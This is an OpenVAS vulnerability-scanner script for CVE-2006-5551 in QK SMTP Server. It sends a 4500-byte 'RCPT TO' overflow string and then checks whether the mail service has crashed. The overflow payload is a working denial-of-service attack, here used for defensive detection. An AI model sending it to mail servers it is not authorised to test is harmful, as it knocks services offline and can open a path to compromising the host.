The remote SMTP server is prone to a stack based overflow.
Description :
QK SMTP Server is installed on the remote host.
The application does not properly check it’s boundaries for
user supplied input in the ‘RCPT TO’ field.
This results in a stack based overflow, where it’s possible to
crash the service or compromise the host.
# OpenVAS Vulnerability Test
# $Id: qk_smtp_server_dos.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: QK SMTP Server 'RCPT TO' buffer overflow vulnerability
#
# Authors:
# Ferdy Riphagen
#
# Copyright:
# Copyright (C) 2006 Ferdy Riphagen
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "The remote SMTP server is prone to a stack based overflow.
Description :
QK SMTP Server is installed on the remote host.
The application does not properly check it's boundaries for
user supplied input in the 'RCPT TO' field.
This results in a stack based overflow, where it's possible to
crash the service or compromise the host.";
tag_solution = "Upgrade to QK SMTP Server 3.1 beta or a newer release.";
if (description) {
script_id(2000201);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2008-08-22 16:09:14 +0200 (Fri, 22 Aug 2008)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2006-5551");
script_bugtraq_id(20681);
name = "QK SMTP Server 'RCPT TO' buffer overflow vulnerability";
script_name(name);
script_category(ACT_DENIAL);
script_tag(name:"qod_type", value:"remote_vul");
script_family("Gain a shell remotely");
script_copyright("This script is Copyright (C) 2006 Ferdy Riphagen");
script_dependencies("smtpserver_detect.nasl", "smtp_settings.nasl");
script_require_ports("Services/smtp", 25);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
script_xref(name : "URL" , value : "http://www.securiteam.com/exploits/6P00O15H6U.html");
exit(0);
}
include("smtp_func.inc");
port = get_kb_item("Services/smtp");
if (!port) port = 25;
if (!get_port_state(port)) exit(0);
soc = open_sock_tcp(port);
if (!soc) exit(0);
banner = smtp_recv_banner(socket:soc);
if ("QK SMTP Server" >< banner) {
# This works regardless of the results from smtp_settings.nasl.
domain = get_kb_item("Settings/third_party_domain");
sender = get_kb_item("SMTP/headers/From");
helo = string("EHLO ", domain, "\r\n");
from = string("MAIL FROM: ", sender, "\r\n");
bof = string("RCPT TO: ", crap(data:raw_string(0x41), length:4500), "@", domain, "\r\n");
# First send the HELO
send(socket:soc, data:helo);
recv = recv(socket:soc, length:1024);
if ("250-Hello" >!< recv) exit(0);
# From address
send(socket:soc, data:from);
recv = recv(socket:soc, length:1024);
if ("Address Okay" >!< recv) exit(0);
# The overflow
send(socket:soc, data:bof);
recv = recv(socket:soc, length:1024);
if (soc) {
send(socket:soc, data:string("QUIT\r\n"));
close(soc);
}
# try to re-open the connection and get some data from it.
soc = open_sock_tcp(port);
if (soc) {
line = smtp_recv_line(socket:soc, code:"220");
}
if (!soc || (!strlen(line))) {
security_message(port);
}
if (soc) {
send(socket:soc, data:string("QUIT\r\n"));
close(soc);
}
}